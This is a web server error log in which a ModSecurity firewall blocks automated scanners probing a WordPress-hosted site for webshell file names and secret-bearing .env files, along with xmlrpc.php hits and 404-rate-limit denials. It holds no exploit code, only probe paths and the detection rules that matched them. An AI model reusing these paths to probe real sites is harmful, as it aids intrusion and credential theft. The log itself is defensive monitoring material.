[Sat Apr 11 14:12:04.935809 2026] [:error] [pid 2188:tid 2256] [client 157.15.40.61:61782] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "adnmNIDhDA-Xtn2nRScMRwAAAMA"]
[Sat Apr 11 14:12:06.172118 2026] [:error] [pid 2187:tid 2242] [client 157.15.40.61:49223] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "adnmNg4J29_qQi0FkjiKEgAAAA4"]
[Sat Apr 11 14:12:10.531509 2026] [:error] [pid 11067:tid 11070] [client 157.15.40.61:49843] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "adnmOsW3w7N67R04YCKXWgAAAEE"]
[Sat Apr 11 14:12:11.886810 2026] [:error] [pid 2297:tid 2305] [client 157.15.40.61:50575] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/133.php"] [unique_id "adnmO7XJS-Jji11jZk3c2wAAAQQ"]
[Sat Apr 11 14:12:12.672590 2026] [:error] [pid 2297:tid 2316] [client 157.15.40.61:50721] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "adnmPLXJS-Jji11jZk3c-wAAAQ8"]
[Sat Apr 11 14:12:15.557745 2026] [:error] [pid 2187:tid 2237] [client 157.15.40.61:50867] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/php8.php"] [unique_id "adnmPw4J29_qQi0FkjiKTQAAAAk"]
[Sat Apr 11 14:12:17.028972 2026] [:error] [pid 2297:tid 2302] [client 157.15.40.61:51338] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/lufix1.php"] [unique_id "adnmQbXJS-Jji11jZk3dRQAAAQE"]
[Sat Apr 11 14:12:18.387416 2026] [:error] [pid 2186:tid 2206] [client 157.15.40.61:51534] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/witmm.php"] [unique_id "adnmQsibnOEEvcO8wPL_wwAAAJA"]
[Sat Apr 11 14:12:20.248995 2026] [:error] [pid 11067:tid 11087] [client 157.15.40.61:51772] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "adnmRMW3w7N67R04YCKX2QAAAFI"]
[Sat Apr 11 14:12:22.300613 2026] [:error] [pid 2186:tid 2209] [client 157.15.40.61:51974] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "adnmRsibnOEEvcO8wPL_1wAAAJM"]
[Sat Apr 11 14:12:22.581577 2026] [:error] [pid 2186:tid 2205] [client 157.15.40.61:52006] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "adnmRsibnOEEvcO8wPL_4gAAAI8"]
[Sat Apr 11 14:12:25.098757 2026] [:error] [pid 2187:tid 2228] [client 157.15.40.61:52284] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "adnmSQ4J29_qQi0FkjiKfgAAAAI"]
[Sat Apr 11 14:12:26.373261 2026] [:error] [pid 2297:tid 2322] [client 157.15.40.61:52304] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "adnmSrXJS-Jji11jZk3dsQAAARU"]
[Sat Apr 11 14:12:28.191541 2026] [:error] [pid 2187:tid 2247] [client 157.15.40.61:52530] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files.php"] [unique_id "adnmTA4J29_qQi0FkjiKngAAABM"]
[Sat Apr 11 14:12:29.921659 2026] [:error] [pid 2188:tid 2273] [client 157.15.40.61:52806] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-editor.php"] [unique_id "adnmTYDhDA-Xtn2nRScM_AAAANE"]
[Sat Apr 11 15:04:16.001599 2026] [:error] [pid 2187:tid 2232] [client 34.69.153.216:50769] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "adnycA4J29_qQi0Fkjia1AAAAAQ"]
[Sat Apr 11 15:04:16.859686 2026] [:error] [pid 11067:tid 11069] [client 34.69.153.216:51061] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "adnycMW3w7N67R04YCK8FAAAAEA"]
[Sat Apr 11 15:04:17.656772 2026] [:error] [pid 2187:tid 2233] [client 34.69.153.216:51347] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "adnycQ4J29_qQi0Fkjia4AAAAAU"]
[Sat Apr 11 15:04:18.524342 2026] [:error] [pid 2186:tid 2191] [client 34.69.153.216:51547] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.prod"] [unique_id "adnycsibnOEEvcO8wPINowAAAIE"]
[Sat Apr 11 15:04:19.324891 2026] [:error] [pid 2187:tid 2249] [client 34.69.153.216:52120] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "adnycw4J29_qQi0Fkjia7AAAABU"]
[Sat Apr 11 15:04:20.128823 2026] [:error] [pid 2186:tid 2199] [client 34.69.153.216:52310] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "adnydMibnOEEvcO8wPINpQAAAIk"]
[Sat Apr 11 15:04:20.936619 2026] [:error] [pid 11067:tid 11074] [client 34.69.153.216:52478] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "adnydMW3w7N67R04YCK8IwAAAEU"]
[Sat Apr 11 15:04:21.790262 2026] [:error] [pid 11067:tid 11083] [client 34.69.153.216:52647] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "adnydcW3w7N67R04YCK8LAAAAE4"]
[Sat Apr 11 15:04:22.590355 2026] [:error] [pid 2188:tid 2262] [client 34.69.153.216:52827] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "adnydoDhDA-Xtn2nRScfngAAAMY"]
[Sat Apr 11 15:04:25.027577 2026] [:error] [pid 2188:tid 2266] [client 34.69.153.216:53254] [client 34.69.153.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.example"] [unique_id "adnyeYDhDA-Xtn2nRScfqAAAAMo"]
[Sat Apr 11 18:17:30.980607 2026] [:error] [pid 54610:tid 54615] [client 152.57.81.173:61322] [client 152.57.81.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.81.173, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adofuge-u3uFASN-RPGQvQAAAQI"]
[Sat Apr 11 18:17:30.985934 2026] [:error] [pid 54610:tid 54615] [client 152.57.81.173:61322] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 12 01:03:36.601261 2026] [:error] [pid 44701:tid 44773] [client 142.167.247.212:62983] [client 142.167.247.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.167.247.212, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adp-6BGZAP4MrlxEPFcoTgAAAEE"]
[Sun Apr 12 01:03:36.606046 2026] [:error] [pid 44701:tid 44773] [client 142.167.247.212:62983] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 12 01:32:09.992214 2026] [:error] [pid 36909:tid 36913] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-942.php
[Sun Apr 12 01:32:10.248090 2026] [:error] [pid 36909:tid 36922] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/4GrJSiwkF3A.php
[Sun Apr 12 01:32:10.488340 2026] [:error] [pid 36909:tid 36927] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/SS72_kKKjT.php
[Sun Apr 12 01:32:10.726714 2026] [:error] [pid 36909:tid 36928] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/wkogn.php
[Sun Apr 12 01:32:10.990919 2026] [:error] [pid 36909:tid 36914] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/hwjtry0zd1fzeakcuzn8Cdefault.php
[Sun Apr 12 01:32:11.246779 2026] [:error] [pid 36909:tid 36934] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sun Apr 12 01:32:11.501334 2026] [:error] [pid 36909:tid 36935] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/oLEzRVqmJJPFSucdefault.php
[Sun Apr 12 01:32:11.736440 2026] [:error] [pid 36909:tid 36933] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/wwdgl.php
[Sun Apr 12 01:32:11.975719 2026] [:error] [pid 36909:tid 36925] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/3akp.php
[Sun Apr 12 01:32:12.242993 2026] [:error] [pid 36909:tid 36913] [client 4.232.184.116:11225] File does not exist: /usr/local/apache/htdocs/suspended-page/HLA-dd.php
[Sun Apr 12 01:32:12.474678 2026] [:error] [pid 36909:tid 36920] [client 4.232.184.116:11225] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adqFnEGk5GhxTCzHUOoWbwAAAQk"]
[Sun Apr 12 01:32:13.014120 2026] [:error] [pid 45064:tid 45103] [client 4.232.184.116:11213] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adqFnZcHBvLyJ6EUhUr9fwAAAUo"]
[Sun Apr 12 01:32:13.587708 2026] [:error] [pid 36909:tid 36917] [client 4.232.184.116:11212] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adqFnUGk5GhxTCzHUOoWcwAAAQY"]
[Sun Apr 12 01:32:14.222480 2026] [:error] [pid 36938:tid 36955] [client 4.232.184.116:11203] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adqFnoSWpa_VL1JPU6zb3QAAAY8"]
[Sun Apr 12 01:32:14.922544 2026] [:error] [pid 34152:tid 34176] [client 4.232.184.116:11260] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adqFnoFtE4RhFslT1Dq9PQAAABY"]
[Sun Apr 12 01:32:15.518907 2026] [:error] [pid 44701:tid 44790] [client 4.232.184.116:11136] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adqFnxGZAP4MrlxEPFc4pgAAAE8"]
[Sun Apr 12 01:32:16.037555 2026] [:error] [pid 44701:tid 44791] [client 4.232.184.116:11208] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adqFoBGZAP4MrlxEPFc4qAAAAFA"]
[Sun Apr 12 01:32:16.763192 2026] [:error] [pid 44700:tid 44750] [client 4.232.184.116:11234] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "adqFoGryPgh_uW4QPClk7wAAAMY"]
[Sun Apr 12 01:32:17.414910 2026] [:error] [pid 36909:tid 36932] [client 4.232.184.116:11183] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adqFoUGk5GhxTCzHUOoWewAAARU"]
[Sun Apr 12 01:32:18.076781 2026] [:error] [pid 36909:tid 36925] [client 4.232.184.116:11259] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adqFokGk5GhxTCzHUOoWfQAAAQ4"]
[Sun Apr 12 01:32:19.684516 2026] [:error] [pid 34152:tid 34177] [client 4.232.184.116:11200] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adqFo4FtE4RhFslT1Dq9PgAAABc"]
[Sun Apr 12 01:32:21.629187 2026] [:error] [pid 44701:tid 44771] [client 4.232.184.116:11250] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adqFpRGZAP4MrlxEPFc4tQAAAEA"]
[Sun Apr 12 01:32:23.271228 2026] [:error] [pid 45064:tid 45113] [client 4.232.184.116:11216] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adqFp5cHBvLyJ6EUhUr9hQAAAVQ"]
[Sun Apr 12 01:32:25.857649 2026] [:error] [pid 44701:tid 44778] [client 4.232.184.116:11211] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adqFqRGZAP4MrlxEPFc4ugAAAEY"]
[Sun Apr 12 01:32:29.589388 2026] [:error] [pid 44701:tid 44793] [client 4.232.184.116:11230] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adqFrRGZAP4MrlxEPFc42AAAAFI"]
[Sun Apr 12 01:32:31.089791 2026] [:error] [pid 45064:tid 45094] [client 4.232.184.116:11175] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "adqFr5cHBvLyJ6EUhUr9kAAAAUI"]
[Sun Apr 12 01:32:32.082689 2026] [:error] [pid 36909:tid 36933] [client 4.232.184.116:11232] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adqFsEGk5GhxTCzHUOoWjwAAARY"]
[Sun Apr 12 01:32:33.907047 2026] [:error] [pid 36938:tid 36952] [client 4.232.184.116:11258] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adqFsYSWpa_VL1JPU6zcAQAAAYw"]
[Sun Apr 12 01:32:34.799815 2026] [:error] [pid 36909:tid 36916] [client 4.232.184.116:11196] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adqFskGk5GhxTCzHUOoWkwAAAQU"]
[Sun Apr 12 01:32:36.022607 2026] [:error] [pid 36909:tid 36926] [client 4.232.184.116:11241] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "adqFtEGk5GhxTCzHUOoWlQAAAQ8"]
[Sun Apr 12 01:32:36.772452 2026] [:error] [pid 45064:tid 45110] [client 4.232.184.116:11224] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adqFtJcHBvLyJ6EUhUr9lwAAAVE"]
[Sun Apr 12 01:32:37.742231 2026] [:error] [pid 36938:tid 36959] [client 4.232.184.116:11145] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adqFtYSWpa_VL1JPU6zcBwAAAZM"]
[Sun Apr 12 01:32:38.509195 2026] [:error] [pid 36909:tid 36928] [client 4.232.184.116:11249] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adqFtkGk5GhxTCzHUOoWngAAARE"]
[Sun Apr 12 01:32:39.119568 2026] [:error] [pid 44701:tid 44787] [client 4.232.184.116:11201] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "adqFtxGZAP4MrlxEPFc45QAAAE0"]
